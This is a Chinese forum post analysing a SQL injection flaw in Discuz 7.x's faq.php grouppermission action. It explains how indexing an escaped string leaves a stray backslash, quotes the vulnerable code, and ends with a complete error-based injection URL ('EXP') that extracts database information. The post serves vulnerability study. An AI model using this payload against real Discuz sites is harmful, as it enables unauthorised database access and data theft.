创意电子

标题: Discuz7.x faq.php 注入漏洞分析 取值不当造成的安全隐患 [打印本页]

作者: 网络安全小白入门    时间: 2021-8-11 16:55
标题: Discuz7.x faq.php 注入漏洞分析 取值不当造成的安全隐患
刚回家就看到到处都在讨论这个漏洞, 闲的蛋疼就去看了下怎么形成的. 效果不看不知道, 一看就吓我一跳
没有想到在php里面, 如果取值不严谨的话还会有这样一种BUG的情况发生, 其实说来这也不算什么BUG, 只是一个机制问题
在分析前先给大家看一个例子, 在GPC开启的状态下假如有这样一段代码:

我们执行下会发现输出如下内容:


                               
登录/注册后可看大图

没有任何问题, 传递过去的单引号被用反斜杠转义了. 但是, 如果是这样写的呢?

我们再来输出下看看~


                               
登录/注册后可看大图

可以看到这个时候我们传递过来的单引号没有了, 反而剩下了一个反斜杠, 到这里算是一取值的小BUG吧
简单地理解的话, 如果你的值为String而非Array的情况下, 在php里若用php的数组取值方式$XX[0], 那么转移过的 \' 将变成 \
也就是说这个时候php会将你的string来进行一个拆解处理惩罚
假设sql=123456 那么
sql=123456那么sql[0]就会取出字符串1 $sql[1]就会取出字符串2
而$sql =\' 的话那么自然$sql[0] 就只获取了 \ 反斜杠一个字符串

那么再来看Discuz7.2的漏洞代码: (faq.php文件grouppermission)

} elseif($action == &#39;grouppermission&#39;) {        require_once &#39;./include/forum.func.php&#39;;        require_once language(&#39;misc&#39;);        $permlang = $language;        unset($language);        $searchgroupid = isset($searchgroupid) ? intval($searchgroupid) : $groupid;        $groups = $grouplist = array();        $query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {$tablepre}usergroups ORDER BY (creditshigher&#39;0&#39; || creditslower&#39;0&#39;), creditslower");        $cgdata = $nextgid = &#39;&#39;;        while($group = $db->fetch_array($query)) {                $group\[&#39;type&#39;\] = $group\[&#39;type&#39;\] == &#39;special&#39; && $group\[&#39;radminid&#39;\] ? &#39;specialadmin&#39; : $group\[&#39;type&#39;\];                $groups\[$group\[&#39;type&#39;\]\]\[\] = array($group\[&#39;groupid&#39;\], $group\[&#39;grouptitle&#39;\]);                $grouplist\[$group\[&#39;type&#39;\]\] .= &#39;&#39;.$group\[&#39;grouptitle&#39;\].($groupid == $group\[&#39;groupid&#39;\] ? &#39; ←&#39; : &#39;&#39;).&#39;&#39;;                if($group\[&#39;groupid&#39;\] == $searchgroupid) {                        $cgdata = array($group\[&#39;type&#39;\], count($groups\[$group\[&#39;type&#39;\]\]) - 1, $group\[&#39;groupid&#39;\]);                }        }        if($cgdata\[0\] == &#39;member&#39;) {                $nextgid = $groups\[$cgdata\[0\]\]\[$cgdata\[1\] + 1\]\[0\];                if($cgdata\[1\] > 0) {                        $gids\[1\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\] - 1\];                }                $gids\[2\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\]\];                if($cgdata\[1\] < count($groups\[$cgdata\[0\]\]) - 1) {                        $gids\[3\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\] + 1\];                        if(count($gids) == 2) {                                $gids\[4\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\] + 2\];                        }                } elseif(count($gids) == 2) {                        $gids\[0\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\] - 2\];                }        } else {                $gids\[1\] = $groups\[$cgdata\[0\]\]\[$cgdata\[1\]\];        }        ksort($gids);        $groupids = array();        foreach($gids as $row) {                $groupids\[\] = $row\[0\]; //问题就出在这里        }        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); //直接带入        $groups = array();        while($group = $db->fetch_array($query)) {                $group\[&#39;maxattachsize&#39;\] = $group\[&#39;maxattachsize&#39;\] / 1024;                $group\[&#39;maxsizeperday&#39;\] = $group\[&#39;maxsizeperday&#39;\] / 1024;                $group\[&#39;maxbiosize&#39;\] = $group\[&#39;maxbiosize&#39;\] ? $group\[&#39;maxbiosize&#39;\] : 200;                if($searchgroupid == $group\[&#39;groupid&#39;\]) {                        $currenti = $group\[&#39;groupid&#39;\];                }                $groups\[$group\[&#39;groupid&#39;\]\] = $group;        }
groupids是从groupids是从gids赋值过去的, 而这里Discuz并没有初始化gids, 而是直接以数组的方式来给gids,而是直接以数组的方式来给gids赋值
所以gids的的值我们可以通过数组的方式传递进入程序, 所以这里
gids的的值我们可以通过数组的方式传递进入程序,所以这里gids是可控的~
我们任意传一点东西过去~ 来print_r一下$gids的值:


                               
登录/注册后可看大图

然后下面有一段foreach

foreach($gids as $row) {        $groupids\[\] = $row\[0\]; //问题就出在这里}
这里Discuz只思量到了本身程序的取值, 由于$gids原始形成的就是一个多维数组, 但是既然我们可控的话, 漏洞在这里就产生了
看我们最开始说的, 这种取值方法如果目标非Array的话, 那么单引号就没有了~ 我们来测试下
传递 1.php?gids[t00ls]=%27
然后我们直接print_r处理惩罚后的$groupids~


                               
登录/注册后可看大图

可以看到单引号已经不见了, 只剩下了一个反斜杠, 那么再结合Discuz的implodeids函数一处理惩罚~ 漏洞就产生了~
我们直接让程序执行下去看看是什么效果


                               
登录/注册后可看大图

最后EXP:

faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,0x5430304C5320474F21,0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23


                               
登录/注册后可看大图


                               
登录/注册后可看大图
关注私信“白嫖”获取书籍资料




欢迎光临 创意电子 (https://www.wxcydz.cc/) Powered by Discuz! X3.4